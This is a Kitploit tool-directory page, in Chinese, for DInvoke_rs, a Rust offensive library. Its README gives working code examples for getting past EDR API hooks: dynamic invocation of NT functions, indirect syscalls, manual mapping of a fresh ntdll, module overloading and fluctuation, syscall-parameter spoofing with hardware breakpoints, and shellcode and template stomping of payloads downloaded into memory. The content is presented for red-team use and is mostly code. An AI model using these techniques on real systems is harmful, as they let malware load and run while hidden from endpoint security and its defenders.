Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DInvoke_rs — 动态调用任意非托管代码 | Kitploit
工具/GitHubGitHub/kudaes/dinvoke_rs
IDS/IPS规避Shellcode后渗透利用二进制分析红队Payload 开发
GitHubkudaes/dinvoke_rs

DInvoke_rs

动态调用任意非托管代码

查看仓库
3664342个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DInvoke_rs

Rust 移植版,源自 Dinvoke。DInvoke_rs 可用于多种用途,例如 PE 解析、动态解析导出函数、在运行时动态加载 PE 插件、规避 API 钩子等。

功能特性:

  • 从 Rust 动态解析并调用未文档化的 Windows API。
  • 提供可用于战略性规避 API 钩子的原语。
  • 间接系统调用。仅限 x64
  • 手动映射来自磁盘或直接来自内存的 PE 模块。
  • PE 头解析。
  • 将 PE 模块映射到由磁盘上任意模块支持的内存区域。不符合 Opsec 要求
  • 模块波动(Module fluctuation)以隐藏已映射的 PE(支持并发)。不符合 Opsec 要求
  • 通过异常过滤器 + 硬件断点欺骗系统调用参数。仅限 x64
  • 模块踩踏与 Shellcode 波动。
  • 模板踩踏。

致谢

所有功劳归于本工具原始 C# 实现的创建者:

  • The Wover
  • FuzzySec (b33f)
  • cobbr

目录

  • 解析导出函数
  • 动态调用非托管代码
  • 执行间接系统调用
  • 从磁盘或内存手动映射 PE
  • 重载内存区域
  • 模块波动
  • 使用硬件断点欺骗系统调用参数
  • 模块踩踏与 Shellcode 波动
  • 模板踩踏

用法

通过将以下行添加到你的 cargo.toml 中,将此 crate 导入到你的项目:```rust [dependencies] dinvoke_rs = "0.2.2"

root@kitploit:~
# 示例
## 解析导出的 API

下面的示例演示了如何使用 DInvoke_rs 动态查找并调用 DLL(本例中为 `ntdll.dll`)的导出函数。

1) 获取 ntdll 的基地址。
2) 使用 `get_function_address()` 按名称查找 `ntdll.dll` 内的导出函数。这是通过遍历并解析该 DLL 的 EAT 实现的。
3) 你还可以通过调用 `get_function_address_by_ordinal()` 按序号查找导出函数。```rust

fn main() {

    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

    if ntdll != 0 
    {
        println!("ntdll.dll base address is 0x{:X}", ntdll);
        
        // Dynamically obtain the address of a function by name.
        let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
        if nt_create_thread != 0
        {
            println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
        }

        // Dynamically obtain the address of a function by ordinal.
        let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
        if ordinal_8 != 0 
        {
            println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
        }
    }   
}

调用非托管代码

在以下示例中,我们使用 DInvoke_rs 动态调用 RtlAdjustPrivilege,以便为当前进程的令牌启用 SeDebugPrivilege。这种执行方式将绕过 Win32 中存在的任何 API 钩子。此外,它不会在最终 PE 的导入地址表(Import Address Table)上创建任何条目,从而使得在不执行该 PE 的情况下更难检测其行为。```rust

fn main() {

root@kitploit:~
// Dynamically obtain ntdll.dll's base address. 
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

if ntdll != 0 
{
    unsafe 
    {
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled); 

        match ret {
            Some(x) => 
            	if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
              	else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }
    } 
}   

}

root@kitploit:~
## 执行间接系统调用
在下一个示例中,我们使用 DInvoke_rs 执行与函数 `NtQueryInformationProcess` 对应的系统调用。由于宏 `execute_syscall!()` 会动态分配并执行用于完成所需系统调用的 shellcode,因此 `ntdll.dll` 中存在的所有挂钩都会被绕过。一旦系统调用返回,所分配的内存即被释放,从而避免具有执行权限的内存页永久存在。```rust

use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};

fn main() {

    unsafe 
    {
        let function_type:NtQueryInformationProcess;
        let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
        let handle = GetCurrentProcess();
        let p = PROCESS_BASIC_INFORMATION::default();
        let process_information: PVOID = std::mem::transmute(&p); 
        let r = u32::default();
        let return_length: *mut u32 = std::mem::transmute(&r);
        dinvoke_rs::dinvoke::execute_syscall!(
            "NtQueryInformationProcess",
            function_type,
            ret,
            handle,
            0,
            process_information,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            return_length
        );

        let pbi: *mut PROCESS_BASIC_INFORMATION;
        match ret {
            Some(x) => 
                if x == 0 {
                    pbi = std::mem::transmute(process_information);
                    let pbi = *pbi;
                    println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
                },
            None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
        }  

    }
}

手动 PE 映射

在此示例中,使用 DInvoke_rs 手动映射一份没有任何 EDR 钩子的全新 ntdll.dll 副本。然后,该全新的 ntdll.dll 副本可用于执行任何所需函数。

这种手动映射也可以从内存中执行(在这种情况下使用 manually_map_module()),从而可以执行经典的反射式 DLL 注入。```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

root@kitploit:~
unsafe 
{

    let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();

    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

}

}

root@kitploit:~
## 重载内存节
在以下示例中,DInvoke_rs 用于创建一个文件后备的内存节,之后通过手动映射一个 PE 来重载它。

默认情况下,内存节将指向位于 `%WINDIR%\System32\` 中的合法文件,但也可以使用任何其他诱饵模块。

这种重载也可以通过从内存映射一个 PE 来执行(如下例所示),从而无需将载荷写入磁盘即可完成重载。```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

    unsafe 
    {

        let payload: Vec<u8> = your_download_function();

        // This will map your payload into a legitimate file-backed memory section.
        let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
        
        // Then any exported function of the mapped PE can be dynamically called.
        // Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
        let func_ptr:  unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
        let ret: Option<i32>; // The value that the called function will return
        let parameter1: i32 = 10;
        let parameter2: i32 = 20;
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);

        match ret {
            Some(x) => 
                println!("The function returned the value {}", x),
            None => panic!("[x] Error!"),
        }

    }
}

模块波动

DInvoke_rs 允许在映射的 PE 未使用时将其隐藏,从而使 EDR 内存检查更难检测到进程中存在可疑的 dll。

例如,假设我们想要映射一份全新的 ntdll.dll 以规避 EDR 钩子。由于同一进程中存在两个 ntdll.dll 可能被视为可疑行为,我们可以在不使用 ntdll 时将其映射并隐藏。这与 shellcode 波动技术非常相似,尽管在此场景中,我们可以利用这样一个事实:我们将 PE 映射到合法的文件映射内存节中,因此我们可以用该节所指向的原始诱饵模块的内容替换 ntdll 的内容。```rust

use dinvoke_rs::dmanager::Manager;

fn main() {

root@kitploit:~
unsafe 
{
    // The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios 
    let mut manager = Manager::new();

    // This will map ntdll.dll into a memory section pointing to cdp.dll. 
    // It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
    let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
    
    // This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
    // Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
    let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);

    // Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
    let _ = manager.map_module(overload.1);

    // After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

    // Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
    let _ = manager.hide_module(overload.1);

}

}

root@kitploit:~
## Syscall parameters spoofing
为了欺骗系统调用的前 4 个参数,DInvoke_rs 支持硬件断点与异常处理程序的组合。这允许向 NT 函数发送非恶意参数,并在 EDR 检查这些参数后,在执行 syscall 指令之前将其替换为原始参数。更多信息,请查看原始想法的来源仓库:[TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls)。

目前,该功能已为函数 `NtOpenProcess`、`NtAllocateVirtualMemory`、`NtProtectVirtualMemory`、`NtWriteVirtualMemory` 和 `NtCreateThreadEx` 实现。要使用它,只需激活该功能、设置异常处理程序并通过 Dinvoke 调用所需函数即可。```rust

use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};

fn main() {

    unsafe
    {
        // We active the use of hardware breakpoints to spoof syscall parameters
        dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
        // We get the memory address of our function and set it as a VEH
        let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
        dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);

        let h = HANDLE {0: -1 as _};
        let handle: *mut HANDLE = std::mem::transmute(&h);
        let access = THREAD_ALL_ACCESS; 
        let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
        // We set the PID of the remote process 
        let remote_pid = 472isize;
        let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
        let client_id: *mut ClientId = std::mem::transmute(&c);
        // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
        // automatically spoofed by the function and restored to the original values
        // before executing the syscall.
        let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);

        println!("NTSTATUS: {:x}", ret);

        dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
    }
}

模块踩踏与 Shellcode 波动

Dinvoke_rs 的 overload crate 现在允许通过调用 managed_module_stomping() 函数来执行模块踩踏。该函数的第一个参数是 shellcode 的内容。另外两个参数会修改函数的行为,从而提供如下注释所述的三种不同执行路径。

在我看来,使用此函数的最佳方式是加载一个合法的 dll 到进程中,并让 Dinvoke 在该 dll 中确定一个合适的位置,将你的 shellcode 踩踏到该位置。这可以通过将 dll 的基础地址作为 managed_module_stomping() 的第三个参数传入来实现。第二个参数必须为零。这样,Dinvoke 将遍历该 dll 的 Exception 数据,寻找一个足够大的合法函数,以便在其上踩踏 shellcode。```rust let payload_content = download_function(); let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll"); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
您还可以通过将内存地址作为第二个参数传入,来指定要将 shellcode 覆盖到的确切位置:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);

match module {
     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
     Err(e) => println!("An error has occurred: {}", e),      
}

最后,你可以让 Dinvoke 自动决定 shellcode 的 stomp 目标地址。这是通过遍历所有已加载模块的 Exception 数据,直到找到合适的函数来实现的。此选项可能会带来意外行为,因此除非你没有其他选择,否则我不太推荐使用它。```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
一旦shellcode被stomped,你可以使用`dmanager` crate来隐藏/重新stomp你的shellcode,从而允许进行shellcode波动:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
 ... 
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again

模板踩踏(Template stomping)

模板踩踏是模块踩踏(module stomping)技术的一种衍生技术,专门针对 DLL 进行了定制。目前,该技术仅允许将 DLL 加载到当前进程,不支持远程进程。

其主要目标是通过用任意数据替换 .text 节的内容,从 DLL 创建一个模板,从而允许将模板写入磁盘而不会引发警报。该模板的构造方式使其可以通过调用 LoadLibrary 加载到进程中。然后,可以将原始 .text 节的内容直接下载到进程内存中,并踩踏到模板对应的内存区域。该技术可以通过两个主要函数有效执行:generate_template 和 template_stomping。

generate_template 函数旨在通过提取 .text 节的内容并用任意数据替换它,从原始 DLL 创建模板。这确保模板保持其结构,但不包含有意义的可执行代码,除了入口点和 TLS 回调之外,这些入口点和回调被替换为无实际功能但可正常运行的汇编指令。原始 .text 节内容单独保存在 payload.bin 中,最终模板文件保存在 template.dll 中。```rust fn main () { let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory"); match template { Ok(()) => { println!("Template successfully generated.");} Err(x) => { println!("Error ocurred: {x}");} } }

root@kitploit:~
然后,模板可以保存在**目标系统**的磁盘上,并可通过调用 `LoadLibrary` 在当前进程中加载。一旦模板被 SO 加载,下一步就是将存储在 `payload.bin` 中的原始可执行内容覆盖(stomping)到模板的 `.text` 节中。这一过程由 `template_stomping` 函数执行,该函数会将原始可执行内容覆盖到正确的内存区域,并处理该过程中涉及的所有细节。```rust

fn main ()
{  
    unsafe
    {
        let mut payload = http_download_payload(); // Download payload.bin content directly to memory
        let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
        println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);

        let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
        let function: extern "system" fn() = std::mem::transmute(function_ptr);
        function();
    }
}

该技术允许将 DLL 加载到磁盘支持的内存区域中,而无需将真实的可执行内容写入文件系统(从而无需私有内存区域,并能规避 EDR 的静态/动态分析),同时还允许在 DLL 代码执行期间保持干净的调用栈,这与反射式加载 DLL 时的情况不同。

下载工具